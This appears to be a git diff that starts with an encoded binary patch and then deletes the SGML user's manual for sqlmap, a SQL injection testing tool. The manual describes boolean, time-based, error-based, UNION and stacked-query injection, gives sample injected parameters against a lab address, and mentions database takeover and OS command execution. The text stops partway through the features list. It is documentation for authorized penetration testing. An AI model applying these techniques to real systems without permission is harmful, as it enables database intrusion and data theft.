zTo^1C)FO;_+XcA5HYspHJLr-Vzax?hqv-;;Fp#f!a3PTpfK%H(BU>wURQxtMK0-QN05o-}JIsv$#9W=?w-%-g$9V(0*f~tj51a{Ak zsvLn61|tDkg+WXNaKbT74#Lh*u#^i_6-rJJLm0mT6;e)cCQy2MBgFKrFnkKsDvY`! zsI{{qYU~Tb$kX7+6r>RlzJ?s|1RS$BQ8>o%q$WtZtYi#j6kIesh2fXQ%PI`qOsOB2 zoctXH7xgCj`6-dtLL?W2rWKfqAl5TYElmDE*&#*fNcSy_d)tNNjNvJ02OV5Y7YYOG zg3ih4KwU~M4CYIzMbHi!IO9vNf)ON)_)CEQXNL--3=6=icF@7a_*-EpVgg*ya8xZ6 zoIr9B9MvaC7Yd^y&x7v)P_wFVN@tEB;lC(sVN4*wcoMdQ8czbl6fBx%(pd$EWbsT9 zI)geBA_y#8*dk%Af>Derh>9$Y!U-Z@1Dr5KwRkuo`5~J`Nk+feO9j71z(owGGj4Vl z;PkO7jDSt+3z8tA;GJW&Gnh9DPRWY#A1W|73fDP0J7bCq;FxM

RlhD`1Pl$l+wy z3Y8@6T2-3&p<+C2@psl!7o`ME#DyiFi?G zaCor_BFO`I2m!W$p9vHskeu9Pkm(HUE|^Q$bOkZ@J4h$j8KNGH6=6>tVXc&cFxEkR zNdRq;sLK())Cos5Lhu0rnn8+TNS)#IK{|vXF)fI}VLH1)pdcadqbx{JvCx7T3L^Ol z(jpO$>ii&r(1I|=L4E810T6K|4#Jg~Z4kONN*@v{V}eJWALG7QK_jFe;9S zQE?DP#Szv@b+Uk$(0WA-hvEoB`a!QC9I6wJY6QlisNWF_I*mDAG!DJy& z5Q9;11QiPv#OP#lc0ffCjcbHZb=FEL2%{w&F@%aEB2*lNP@!-PCyfy*ju=A45q_Ei zw2u%f1e`&rC^;F^ix@)15q>WNz!5@)f(v*B)fpI};)o$s91)@7AcP797g#$5ju9#j zEmDbR)!NmLNy6A>y7La3PF zY~lALD79epiuxS|?{vs)gkGWGj1CnLDv{)DF~o^2{2InQ88$+kP;h#O3fn;kCw^y2 z&K7>A1Hcg)g@7|?6eTCUL)ql-2)Kwwv5}1=6rA3nY{7>_Xp)PeQEcJoO$f;a4Hrxq z2)J+pAUl+jlOZ|zJ1V)TLy=7-6rA3nY-~S_EoM`REuu?oWK#(RXLP8b9W=Fw*9L|V?>Yo9fj*;!fb>V3Hywk57@$Kni`VA z$&{Lt*ur*DlQyy{VR31*He1Zz6I=M*CNLv}O9`u`DO?PDVvF{d*#E_zh;Q_g>wii? z!f95}2nKtiROC5vBhvE;`7>qO(-_XnGiTe*J7NB zErv6(MVyI^awZ`-rF~ph@^?i0B9_EPSQ5iKu!P^8qOgU-OfawnoQYbuQ5qHvEDn8O ziQ!Ug5tm{kT&lBHO8XcGVT)l;Y!Q26BkT!*W3VSSwjIS5!=Bh8_QXcm6AI4gT3m85 z?1?R6Pi%xeF~M03_C(1^pH-;ek&YH^P7xmgrjJ?_oZ&(-_QVpyo>(IG#6s9pCpc+1 zLdiugf%=^(D@(+eSO{NY8l`YnqKr~#{*+Nta)KFBE_7 z!z_eVv4pjfM#;k12$h1gNW`O92#-SGgbk$Bg>6o;$lp=$P9DWVcoYgw?^-dEi{Vi$ z5szXaJPHM;^C(JAhEa;)Q7jRUVj(=L6P!{6wh2Z3jwnLJoLC5R5~`KzGr@4AHlaE# zRA4uZO(@DXM9xf&ZZ{;oKt@&S=c5Nm4d>Fx)vc$C>*0}1;mFo z%*2o?mWWib5K@JLGrCrc35l8YfvED?Evb9$yTV`^Er zdqP1>h)^g70(U;36u; zLZ}o9&gf7u;ZZmXq0~rd=M1Hg3 z4vE+hLWYFZk=BM$2r=A8v~PqkA0`sL{{-|+WW-`vkBIajoJR;tDjF9MA6O!WgAyD> z(Ueh>xWe9~^eiN8q@IP`Q=n)1)F_4mi5L(xRSo$MQGbaeH6l(Ult}OpfIh^;5E_7H4h#{UVUigkEFqC#tAlE% z;0LO&m_$Z^Am}SLZJCFYn9i*MfvE})(P?HO(62}lMAb~`Mbw2VCqNNgJcj9svRi>t zD47MVAq_eC6sCX%d6b(Lrho={)D$300S)q~DM^q5qN`KG3KtYA zr6k2VpBP1A1?3P5q-IZHSwex-G%ZXa6sSg57l%-wI`vjaP$Qv0b?QxvAcatY@cod; zQpwIIYVFL0*eQV_UQ|MZ3_Ilz8l*_95RT9w!zww11}W+;$ODq9Q!}nGfzSc90>E_2 zfl4V!RaMa5r+Y1inW};c`P8~eSQu2u7d-tDz<~<+EV@Hb1;O~#d?G9bD&z~E^ax6U zIDE>AFj0wGJ98mQB|1;6QdL2Pe1^|~I@K9n3stI9d{_VvMbsJI0hF%JP&(*by$gjB z6;e`S!=64P3iavfw93nM!}{r@|KyPDR7PHqNTdmDP?!R0Ml*q)$=8x5qH>^U_!K9s z`bA05YA$KvbhXke@2pe}F$41471ga!9?+dCg)6EG6rd`2UDF8)8dQbP)>0yQI|z%j zh$f0lhIR_A$&;QP8Y_HICK_@=G{TgT+)Oheml9Z0==h*Hp*_-&*o2tWXE+%(u$74Z z5I7D-exg%^T_?ilki9JIWO_Q_2p>4n+9k@tQUb~7jpIPoNaKk5{-bdmB@jyJAe&Z}$IaBZ$WY}cw#UHtvgzh3>KT?2IZ%a@4gtsf5yYamNc1E0iV8W#>4O>hnJ^)0Om|_#YDyq8 z*=(#N(!Js+08?7ROh|#KhjC(HDW60i&x~3r*Cbv~08V-$4t*3eN)z4%j9)m1z;BG7 zRY}pPv5qQ(k&$czt`ed=q7rdj15*inKpMoN8$P2pRl@u^bYn(-CPp;Bt44uVVDJjL zHdeP9QMan#l{4NXa_Fg2L+?LTLbgGCc|;}RIE@&wpi!#gO&(gLrUc_#wM(N{BYe3k zHKU5LF*PM(E~ih3426;gFZi^zn9}N`La7n;pDH1}6Rr}XJfae@3<_johy~?f!cpzg zdf@}*@H2gSMv8+KQ2{6j{)D3w3h#1Qs*?(*J1zvAP&hSe|5GPaBg9p&jwpp3#Ny_C zq++5gyYvU@gzr+NPY_6H@Vcs9xeL-2bv5irN7U7zV-q8mno0kMHb8nz8ANHOfiUg| zbW&`j3)$pk*wsL16CKFvYMhgPlhxI5gI~e&SX~(h{0uIJ)s=C;&tRCW|7{#(12Aon z#SwLMMG5Jh3*`vb(3NSBQvs_h4?+?*R#y&$q?W9%{0E2Bbmwvg=_Qh8vc&TYTzoOw zz{W{e{E>+UhQ{iO1#pN_!s^O%aFk$>usYXbNPEaRlhxG_B4-6wS1ya3*jQrLZ%7>+ z!e3*mAW9>4(G|a>t3s6=CUip2{FN9cT}{R0TngX%5G@|)Wyz_OMJLeAU%?#NT@6oi zu3%Hc^S@jMDLtkNqBNq4u81g8Bxo#~&a0Wfl2o~i#*(ujyQ>jG&PD95MuBSb&1m>T z*csH2Kn0PjA#0t~54s>tFEj!w#Eo=(E-{gsV2I<22a z?*7BxIB5+`8R+hIp0}6F1`l}!W%79^{MXdmVGSG|z+dx;Z==C)i|m&UGM zfw+Ml9!{%eHrlUp1927Ln$iYG?^RA7@*5pjL$;Z)p9~vbDhkSmPQE@HJRCjcAzC4c z1cwm|;9F}l@(X6c3j$zT@ZyWB%3^aBRakN=Dsqqyn)1K0Ec3A6xY5Z`Mp@T>t)~-c zV42PeC0z)M=wQEoy_1KG{4y6;PZ{_>CC?0*AlLDL8)!AOG;TEw*xdK%!V5FUe`27j}OYZqu5T2=*yIo@6sK5@u}l;xoL z;CC`I0VAIpydy;F<*2Lhi7Nw)d@3qnTX-5V^cnfo)X5DUdK%!7asTLP@V6Rqe2AtI zvj`(iOC)5SZyrJ4ku*MWGnSDCc<5Ll z@CYi*$Oprf;1*~aaYK}m1~D?xG{9ry^08EiJpo2p71*vp+red#4;bnB2s~UqxM7X9 zO@&47JJ8Fjz)cq7Ixjs9@W|WT^fVa0tpmZz#|`- zqG^~7K`csQLZat`h$MXCY6U$F@W`kVXd1!o7->AP7o;rUk+&om`3QG~*(5xPKy;-7 zmjlpzfX5{!bQF)6|B*B`R96HZI;H_n9kY8CmKrfDqj;#T0Uo)>Mb8I#YPdgu>*~17 zF!+%=_J{d-Xo(A%fCztdz0#A$%c<3Ae-i1$4 zYNrciWz5O|osSL5-qc~u3Tvf}cQaf#@% z03NxiLQmtU!QCHB_mBI(44xKwCaVzGdvVLXSxBUbwKe1Jy=fuN^Bd-<4eR{_d}v<wd51lIrJakTmvSf@udRZb3_2YntaWlZ

q_JC2zGNcQSp_hfpT+DpL z#q1R1Bf~Gy%MxiQw;=F{O&EGUkPr5Xm}yX!LtHzj=OfaH4K8{b;E@jx>1lwcg7bR_ z`ij><#to*ICGb#A1B)^;S~oo($fAbM(?lBD4!|QriqOjf9*=l6Lr;UU*jOOaFg!Rt zLB|&0anUsdl;xshi%2659O(7JBTQIaG1CA~o!CR8=OfDEYgpKrLH#KkTsxv?zyptf z;qk@jkB@RLctc9weW%L;c;sFaJq?ztFjJ#-sHtG%7c3GTmjoWZo>3#;VIy^5a}SUq zHR5dvJs;qa(S_(~ARim;OCpWfFQn%KJXpOj(*TbQ>Ojv&F3<7yg6T8M5_o7Dfrs0M z8hQBzsY8`G6{DvC9_EVy5111(AIPVQ_9diYdj&u+`NZxpy$%TJ$iwG1NW|LJwD#RU=STZS-!Y5 zl=}c48G42;3&;n`N9BV}4@_oIA8LPqhmKXi!{!uXJBQfWrq>H;*!mpgBX6wI^8p?i zc9Wh)lqC)jkTh(KP2dr4TIu-!57PnQk%4UK`5+CO0|1Zw-~c@z;E{I|=xIb*bR9*c zp*|6=Jc!{#Ko9W#P(%GB;K53T*){?X=R+{G5FZO=)$u(Fb#-(P0Px6nLiD!5g)J`D{79h-gu=*vx&Vt~H z*^huv6=CxSd~gW07nm#1J_6~;IOFs>Ko(eaGG&1@m~5G8uq%p7=efTXFhp-f?k$50z&t*Ar6=tz8-`v4_tp@ z_7nNA@L}qOz{C9kEcdao1!n}9kKl7r9RQv>%9WwLurZ8rJ-{O`chTEH zl*N1^vAK@;PU4ga_1S<2g9hsl@+)~r9pqQ#=xKn5`4Ye*<22LrfqeM>IJ|g6xhUcN z&@+0#BSZQz@t|>-%*1XpvmFE;>SF;9-yesfxc*=_2$`b*4?C9xkBIM&vp@$37a)$O z(LE!;Q^)V)Tdk4LGzXzo$so3&^L2`#RWWMQj7=;1ky->17E#bk7&?$oNn6 ze8dea?EDSVP_6=pjVkE60`SNOi3lEkcLA1?*m@uEP&)-YGWa)w$HvaK!JJV)4)S4h z58z?@^3Y!Ldn8C5s_5E)z(dci01wj(;EC~JK#`C>0x&XiIlW%^fC(SnX9Ya+ik(caE*feA|^8*tXDB#0$-*@ISnkXP~QpHC}82kv>`~t_88$h1GE^;2SgDYgFv~k zu>c#Mh@Ao+7jGLJv?KZh0IRP#<)?0QtzTKQrs)!f<7dBUrhB=RnioNF7UqeNn6| zER@kSh=q=FAE*O67l)?dcN>W_G}Ir!V8#3-e1QgCtHFg6?0g#1@cUul5HP<6527%? z2HqL-o$zHM%-_SujIjM2Searr4p&&vJt!4oxS{%kT`5cla6*sS2B;5R6T{UM@^u}f z&tZ!Umk+Lop|%Den8L<6_*iV5!)g^f|A5}b#yRX*;yQp82x?c54O`D}VBZ$?2XIXW zZwDMRq4P9+I}GzBFazLq0H?w0AOn>#^`{C4vB>y{uQ&g30HB@yH>CpLB?od%7Wh)C3Y>) zbuFa90V}FM*uTPL=JPS%1YM4vtHJdg?A{@y;diJY1>0MPYdqL~6EJy{Tfhx}IAum; zh8Y0m{E!c>oMHK}d+U%-9h)nFX5)2;nWLb`u{}#wSc9SS2SonC^ar+v=^jp)(f)ZM0rt(X zc^~%rFkQj^DKATf#lbX z7&ZjgLGX6KLmR9Pcp8h^70gN$H*iyjeU%0Y^`3>UQ4c<0b za3Sr5W?*NPaP0x}IWY5JHU!rmFg?SQ28{ctLkFWa30t|i%y5|wu{F55fO9T&*uKK> z#N06?-hN^2g@zz$&>#5yCK$eGKH^#dwtoQh6q`T5yI^Z8E?jUzWriyWm_LA*3Rt}` z%rW1@RU^Mz%&=49ngTi&)ZzFI*C`jv2XBM0{R0@~7|(_o03Am_>Tr$;TL2iRA+FY< z;{*2KG5-vwbhw_?@i`B)hxstrSx48upk?gb9@60T2r?GnmKL^e3s(bBpGb^A^lllX zVfS}c;5-1+JrA}MQ60dQcg(-Q5jb{^2xf|nBY5M4_XjNaQQri+z}S2Q=K zvn)87Afpa4d<1M&Ve-LCBQa@kQ6Cu}K&dgif-70r8V6$dVtZ+@9fqv~h#`aM0DLj- zOJI49tzBSe81tumSWct;22Z-My*}`;7?~qe()~;H$sy?25 z&cZW}+@3)ZjO;b&b9AE9k+c8o6T3I0H)bEuYO6ar`{ARL1%J8xsKhYr(&$qt+}bbR z_e#DRa@ou&$3TMe%Q^Mk=tS)vKN|SQy$ei?k8_d5-B-e^uk|Ho`a-UIe+Vt+T#^Ob zyb$F2gC2cUul{47iJFIYvBjMiwGI{=5k|xmoVn7K-7gnz+&k*RdAo&hKul+cF`r53$XYa*`v+1lRrnvv{xrQ27Q7@zmWR)Ma?7CpZF-j`&+rF=ISg?5hu8ZX8M#mrn$f2-R) z`?UDWF-`aW#WYBMvYqSU=^rd@aWl`_`r8hyJi1fVrFmnQzSVXz7w3Jf_E$Kr9I0ui zTxs+WTIt>&*1Q}q8f^VqywdO(9l^w&vkprYwZYDT`*9xKP`rL znTP$xGjL?)N+@CdMm)>r=0X&5j<|U_Gnem|ZyYIgzYEUU{lYWIK0W^Z&Wjw%%!@qI zwdIdbxOnHG7JZ*-N>0u~nY!q8Z0~e4p(fvvX}J+`&iHu@~o8*k$pY<1F?YR9(J% zf%ff-m{R)E9C8dQR@^?zp~?H6V!wQO>1ul}(fJp*fF>f>?l;8QXHLB@*a%s$T#-tN zX!AbR9%5TC&DK7>XEUcz*7ODBwtl>8H5dvqb@KOpgJ-+_dlxKRs2mcq?QD*WjT^da z^ud)pGCB;XzwdkQ9c2`|pYJ-~*u*h=qOmC8Ou#$R0=gjew> z)%HS9+Rp0>8H8(ZzDt|t9u%?3oN}3R52`MZ`%Tu}V!lGhsbxXtCfvRVtnD1!^|3n9 zF^cX)_s%_tY8rdj(O=&bYtBu$eQ6HmRSa3ogRFNMzqadU-)HXm9~rNEYxn&#rIY?q z5^3k4uigN^L^tu1V<(_p*->}RsXx5yF?Ad9a-fko$##b+mbl!Jdc zHdx=RxpolL9h*2^Wk`l;_b9aZ@*9E)efIHdRxjHzF4FG9S9?~E;jsP|8BMu;p*k}* zsb8~C1#okhk`bbwIV9y{K^m^ZiRKDwR zI7r)tlMgEBdK`d|{;?18KHRdl>v}N9*DhhaaO8I!oZ^fFi6HX_y3Vt!ZyF2ZGUy(g$UMT3bk1vmIQD%^;L08agkR`HG_9=pQN{NRVka(!tSj-)PZm9dJGeNZ zb|SIc=l9`pD>{P?yY1-b%pd(68U4IE_Q~Q&$N5NfNnJo2C$bxBsZF@d0 z6tin|?)0uN$TvDdQbXqjS18Z2H&*|_J2!^|TugoL+`qC6%*)F@m6^7&RM~3bZvX&TA^Se??w*CCaj%ZOkj`x<;`3@rG}8ewjyQw>;;M=d+Iz3 zO=QiBaihzpb{m-h;e3O6wLYgSD%@YP@G;4f*LE2V85_E7d>5hP>?^#q*!*t1@d{J z++`r{;4dm-#XeOrczICF$?%L6mrqQNiJAHvWX~JNVRkaAcN|{0It-+cJCA7N6+F|_ z)V@rp_|BNvISVRnL>F__7Vl)O^?ayMu{fc2iD6t-*xWsk$mk8M&D?Lti`+Fom~ig^ zQxKb%o2L9Ok5ex_*p2MXdkDh(Nwv7x0XwRzSk#nTRLi?YTB`}uy*1s8nC&JF&D$`n1$tn0J3E-`}3EM0$3lYJiai_aU>( zcdi)Pv;RPX!N|w}4S6>Cx(6rj9VMMOxvFHr&B*ebIhTsOz8V=e_Vz`-Y4)z1i;P!^ zqtSJ$@4EQ+ee`o>uk1;OaP$yBI(QgaaBnh1iutbVe6bt1YV_$rv}-$(rB;(jZ*s%Q z;vbPAyKG;ah4k-wv+bOPxsMn~sTU4Hj%`L3tez}2lCku|>m$SP+`e$`cb^_%FXP}i zW*kb1?wTLHJ?(Ta-=(wjtdLS<{hbD0z$@cWE@Ss8Z()7YOOIdwgDl)0G6`@ySN87q z53yivA0SO|8iMe%$&y2^fCk`pzH3Wn{vhFNGk7+49t0}f=_ zbNXH_pWQFV8{Tz09&*~5($$HWe%XJZuh=<9Kg~C;aLSDLy%=-8akt*KbEWKAh3K!3 z4XDrWO>o4+Nw}=a=&-~8(!W>Ew5l$P>9Z2UKP5|?i7bBJr8MN;$2?k$Lc93;WXZV@ zS_F*l{PBM?w({>i8@>hdDbQ`-=NjDm7qZ#!J^`lktN?#xNZ^$%Cs1Er*h8Ow|M}N{ z{_^{qZ@zi^`Coti&oBS`rP0rS`t7$*_g}q!`_r4x|NO6i{C0nul*ganzx~@cKfeF& z`KyoLeev$2AJcgL;(O=m?@vGf{^{{Mr_=+K O@XcqR{qUC`-~1OW*h;AY diff --git a/doc/README.sgml b/doc/README.sgml deleted file mode 100644 index a3bb6fd4b..000000000 --- a/doc/README.sgml +++ /dev/null @@ -1,3342 +0,0 @@ - - -

- -sqlmap user's manual -<author>by <htmlurl url="mailto:bernardo@sqlmap.org" name="Bernardo Damele A. G.">, <htmlurl url="mailto:miroslav@sqlmap.org" name="Miroslav Stampar"> -<date>version 1.0-dev, XXX XX, 2012 -<abstract> -This document is the user's manual for <htmlurl url="http://www.sqlmap.org" name="sqlmap">. -</abstract> - -<toc> - - -<sect>Introduction - -<p> -sqlmap is an open source penetration testing tool that automates the -process of detecting and exploiting SQL injection flaws and taking over of -database servers. It comes with a powerful detection engine, many niche -features for the ultimate penetration tester and a broad range of switches -lasting from database fingerprinting, over data fetching from the -database, to accessing the underlying file system and executing commands -on the operating system via out-of-band connections. - - -<sect1>Requirements - -<p> -sqlmap is developed in <htmlurl url="http://www.python.org" name="Python">, -a dynamic, object-oriented, interpreted programming language freely available from -<htmlurl url="http://python.org/download/" name="http://python.org/download/">. -This makes sqlmap a cross-platform application which is independant of the -operating system. sqlmap requires Python version <bf>2.6</bf> or above. -To make it even easier, many GNU/Linux distributions come out of the box -with Python installed. Other Unixes and Mac OSX also provide Python packaged -and ready to be installed. -Windows users can download and install the Python installer for x86, AMD64 and Itanium. - -sqlmap relies on the <htmlurl url="http://metasploit.com" -name="Metasploit Framework"> for some of its post-exploitation takeover -features. You need to grab a copy of the framework from the -<htmlurl url="http://metasploit.com/download/" name="download"> -page - the required version is <bf>3.5</bf> or higher. -For the ICMP tunneling out-of-band takeover technique, sqlmap requires the -<htmlurl url="http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket" -name="Impacket"> library too. - -If you are willing to connect directly to a database server (<tt>-d</tt> switch), -without passing through the web application, you need to install Python bindings -for the database management system that you are going to attack: - -<itemize> -<item>Firebird: <htmlurl name="python-kinterbasdb" url="http://kinterbasdb.sourceforge.net/">. -<item>Microsoft Access: <htmlurl name="python-pyodbc" url="http://pyodbc.googlecode.com/">. -<item>Microsoft SQL Server: <htmlurl name="python-pymssql" url="http://pymssql.sourceforge.net/">. -<item>MySQL: <htmlurl name="python pymysql" url="http://code.google.com/p/pymysql/">. -<item>Oracle: <htmlurl name="python cx_Oracle" url="http://cx-oracle.sourceforge.net/">. -<item>PostgreSQL: <htmlurl name="python-psycopg2" url="http://initd.org/psycopg/">. -<item>SQLite: <htmlurl name="python-pysqlite2" url="http://pysqlite.googlecode.com/">. -<item>Sybase: <htmlurl name="python-pymssql" url="http://pymssql.sourceforge.net/">. -</itemize> - -If you plan to attack a web application behind NTLM authentication or use -the sqlmap update functionality (<tt>-</tt><tt>-update</tt> switch) you need to -install respectively <htmlurl url="http://code.google.com/p/python-ntlm/" -name="python-ntlm"> and <htmlurl url="http://pysvn.tigris.org/" -name="python-svn"> libraries respectively. - -Optionally, if you are running sqlmap on Windows, you may wish to install the -<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline"> -library in order to take advantage of the sqlmap TAB completion and -history support features in the SQL shell and OS shell. -Note that these functionalities are available natively via the standard Python -<htmlurl url="http://docs.python.org/library/readline.html" name="readline"> -library on other operating systems. - -You can also choose to install the <htmlurl url="http://psyco.sourceforge.net/" -name="Psyco"> library to eventually speed up the sqlmap algorithmic -operations. - - -<sect1>Scenario - -<sect2>Detect and exploit a SQL injection -<p> -Let's say that you are auditing a web application and found a web page -that accepts dynamic user-provided values via <tt>GET</tt>, <tt>POST</tt> -or <tt>Cookie</tt> parameters or via the HTTP <tt>User-Agent</tt> -request header. -You now want to test if these are affected by a SQL injection -vulnerability, and if so, exploit them to retrieve as much information as -possible from the back-end database management system, or even be able to -access the underlying file system and operating system. - -In a simple world, consider that the target url is: - -<tscreen><tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1</tt></tscreen> - -Assume that: - -<tscreen><tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1</tt></tscreen> - -is the same page as the original one and (the condition evaluates to <bf>True</bf>): - -<tscreen><tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2</tt></tscreen> - -differs from the original one (the condition evaluates to <bf>False</bf>). -This likely means that you are in front of a SQL -injection vulnerability in the <tt>id</tt> <tt>GET</tt> parameter of the -<tt>index.php</tt> page. Additionally, no sanitisation of user's supplied -input is taking place before the SQL statement is sent to the -back-end database management system. - -This is quite a common flaw in dynamic content web applications and it -does not depend upon the back-end database management system nor on the web -application programming language; it is a flaw within the application code. -The <htmlurl url="http://www.owasp.org" name="Open Web Application Security Project"> -rated this class of vulnerability as the <htmlurl -url="http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf" name="most -common"> and serious web application vulnerability in their -<htmlurl url="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" -name="Top Ten"> list from 2010. - -Now that you have found the vulnerable parameter, you can exploit it by -manipulating the <tt>id</tt> parameter value in the HTTP request. - -Back to the scenario, we can make an educated guess about the probable -syntax of the SQL <tt>SELECT</tt> statement where the user supplied value is -being used in the <tt>get_int.php</tt> web page. In pseudo PHP code: - -<tscreen><tt> -$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id']; -</tt></tscreen> - -As you can see, appending a syntactically valid SQL statement that will -evaluate to a <em>True</em> condition after the value for the <tt>id</tt> -parameter (such as <tt>id=1 AND 1=1</tt>) will result in the web application -returning the same web page as in the original request (where no SQL -statement is added). -This is because the back-end database management system has evaluated the -injected SQL statement. -The previous example describes a simple boolean-based blind SQL injection -vulnerability. -However, sqlmap is able to detect any type of SQL injection flaw and adapt -its work-flow accordingly. - -In this simple scenario it would also be possible to append, not just one or -more valid SQL conditions, but also (depending on the DBMS) stacked SQL -queries. For instance: <tt>[...]&id=1;ANOTHER SQL QUERY#</tt>. - -sqlmap can automate the process of identifying and exploiting this type of -vulnerability. -Passing the original address, <tt>http://192.168.136.131/sqlmap/mysql/get_int.php?id=1</tt> -to sqlmap, the tool will automatically: - -<itemize> -<item>Identify the vulnerable parameter(s) (<tt>id</tt> in this example); -<item>Identify which SQL injection techniques can be used to exploit the -vulnerable parameter(s); -<item>Fingerprint the back-end database management system; -<item>Depending on the user's options, it will extensively fingerprint, -enumerate data or takeover the database server as a whole. -</itemize> -...and depending on supplied options, it will enumerate data or takeover the -database server entirely. - -There exist many <htmlurl url="http://delicious.com/inquis/sqlinjection" name="resources"> -on the web explaining in depth how to detect, exploit and prevent SQL -injection vulnerabilities in web applications. It is recommendeded that you read -them before going much further with sqlmap. - -<sect2>Direct connection to the database management system -<p> -Up until sqlmap version <bf>0.8</bf>, the tool has been <em>yet another -SQL injection tool</em>, used by web application penetration testers/newbies/curious -teens/computer addicted/punks and so on. Things move on -and as they evolve, we do as well. Now it supports this new switch, -<tt>-d</tt>, that allows you to connect from your machine to the database -server's TCP port where the database management system daemon is listening -on and perform any operation you would do while using it to attack a -database via a SQL injection vulnerability. - - -<sect1>Techniques - -<p> -sqlmap is able to detect and exploit five different SQL injection -<em>types</em>: - -<itemize> -<item><bf>Boolean-based blind SQL injection</bf>, also known as <bf>inferential -SQL injection</bf>: sqlmap replaces or appends to the affected parameter in -the HTTP request, a syntatically valid SQL statement string containing a -<tt>SELECT</tt> sub-statement, or any other SQL statement whose the user -want to retrieve the output. -For each HTTP response, by making a comparison between the HTTP response -headers/body with the original request, the tool inference the output of -the injected statement character by character. Alternatively, the user -can provide a string or regular expression to match on True pages. -The bisection algorithm implemented in sqlmap to perform this technique -is able to fetch each character of the output with a maximum of seven HTTP -requests. Where the output is not within the clear-text plain charset, -sqlmap will adapt the algorithm with bigger ranges to detect the output. -<item><bf>Time-based blind SQL injection</bf>, also known as <bf>full blind -SQL injection</bf>: sqlmap replaces or appends to the affected parameter in -the HTTP request, a syntatically valid SQL statement string containing a -query which put on hold the back-end DBMS to return for a certain number -of seconds. -For each HTTP response, by making a comparison between the HTTP response -time with the original request, the tool inference the output of -the injected statement character by character. Like for boolean-based -technique, the bisection algorithm is applied. -<item><bf>Error-based SQL injection</bf>: sqlmap replaces or appends to -the affected parameter a database-specific error message provoking statement -and parses the HTTP response headers and body in search of DBMS error messages -containing the injected pre-defined chain of characters and the subquery -statement output within. This technique works only when the web application -has been configured to disclose back-end database management system error -messages. -<item><bf>UNION query SQL injection</bf>, also known as <bf>inband SQL -injection</bf>: sqlmap appends to the affected parameter a syntatically -valid SQL statement starting with an <tt>UNION ALL SELECT</tt>. -This techique works when the web application page passes directly the output -of the <tt>SELECT</tt> statement within a <tt>for</tt> loop, or similar, so -that each line of the query output is printed on the page content. -sqlmap is also able to exploit <bf>partial (single entry) UNION query SQL -injection</bf> vulnerabilities which occur when the output of the -statement is not cycled in a <tt>for</tt> construct, whereas only the first -entry of the query output is displayed. -<item><bf>Stacked queries SQL injection</bf>, also known as <bf>multiple -statements SQL injection</bf>: sqlmap tests if the web application supports -stacked queries and then, in case it does support, it appends to the affected -parameter in the HTTP request, a semi-colon (<tt>;</tt>) followed by the -SQL statement to be executed. This technique is useful to run SQL -statements other than <tt>SELECT</tt>, like for instance, <em>data -definition</em> or <em>data manipulation</em> statements, possibly leading -to file system read and write access and operating system command -execution depending on the underlying back-end database management system -and the session user privileges. -</itemize> - - -<sect1>Demo - -<p> -You can watch several demo videos, they are hosted on <htmlurl -url="http://www.youtube.com/user/inquisb#g/u" name="YouTube">. - - -<sect>Features - -<p> -Features implemented in sqlmap include: - - -<sect1>Generic features - -<p> -<itemize> -<item>Full support for <bf>MySQL</bf>, <bf>Oracle</bf>, <bf>PostgreSQL</bf>, -<bf>Microsoft SQL Server</bf>, <bf>Microsoft Access</bf>, <bf>SQLite</bf>, -<bf>Firebird</bf>, <bf>Sybase</bf> and <bf>SAP MaxDB</bf> database -management systems. - -<item>Full support for five SQL injection techniques: <bf>boolean-based -blind</bf>, <bf>time-based blind</bf>, <bf>error-based</bf>, -<bf>UNION query</bf> and <bf>stacked queries</bf>. - -<item>Support to <bf>directly connect to the database</bf> without passing -via a SQL injection, by providing DBMS credentials, IP address, port and -database name. - -<item>It is possible to provide a single target URL, get the list of -targets from <htmlurl url="http://portswigger.net/suite/" name="Burp proxy"> -or <htmlurl url="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" -name="WebScarab proxy"> requests log files, get the whole HTTP request -from a text file or get the list of targets by providing sqlmap with a -Google dork which queries <htmlurl url="http://www.google.com" -name="Google"> search engine and parses its results page. You can also -define a regular-expression based scope that is used to identify which of -the parsed addresses to test. - -<item>Tests provided <bf>GET</bf> parameters, <bf>POST</bf> parameters, -HTTP <bf>Cookie</bf> header values, HTTP <bf>User-Agent</bf> header value -and HTTP <bf>Referer</bf> header value to identify and exploit SQL -injection vulnerabilities. It is also possible to specify a comma-separated -list of specific parameter(s) to test. - -<item>Option to specify the <bf>maximum number of concurrent HTTP(S) -requests (multi-threading)</bf> to speed up the blind SQL injection -techniques. Vice versa, it is also possible to specify the number of -seconds to hold between each HTTP(S) request. Others optimization switches -to speed up the exploitation are implemented too. - -<item><bf>HTTP <tt>Cookie</tt> header</bf> string support, useful when the -web application requires authentication based upon cookies and you have -such data or in case you just want to test for and exploit SQL injection -on such header values. You can also specify to always URL-encode the -Cookie. - -<item>Automatically handles <bf>HTTP <tt>Set-Cookie</tt> header</bf> from -the application, re-establishing of the session if it expires. Test and -exploit on these values is supported too. Vice versa, you can also force -to ignore any <tt>Set-Cookie</tt> header. - -<item>HTTP protocol <bf>Basic, Digest, NTLM and Certificate -authentications</bf> support. - -<item><bf>HTTP(S) proxy</bf> support to pass by the requests to the target -application that works also with HTTPS requests and with authenticated -proxy servers. - -<item>Options to fake the <bf>HTTP <tt>Referer</tt> header</bf> value and -the <bf>HTTP <tt>User-Agent</tt> header</bf> value specified by user or -randomly selected from a textual file. - -<item>Support to increase the <bf>verbosity level of output messages</bf>: -there exist <bf>seven levels</bf> of verbosity. - -<item>Support to <bf>parse HTML forms</bf> from the target URL and forge -HTTP(S) requests against those pages to test the form parameters against -vulnerabilities. - -<item><bf>Granularity and flexibility</bf> in terms of both user's -switches and features. - -<item><bf>Estimated time of arrival</bf> support for each query, updated -in real time, to provide the user with an overview on how long it will -take to retrieve the queries' output. - -<item>Automatically saves the session (queries and their output, even if -partially retrieved) on a textual file in real time while fetching the -data and <bf>resumes the injection</bf> by parsing the session file. - -<item>Support to read options from a configuration INI file rather than -specify each time all of the switches on the command line. Support also to -generate a configuration file based on the command line switches provided. - -<item>Support to <bf>replicate the back-end database tables structure and -entries</bf> on a local SQLite 3 database. - -<item>Option to update sqlmap to the latest development version from the -subversion repository. - -<item>Support to parse HTTP(S) responses and display any DBMS error 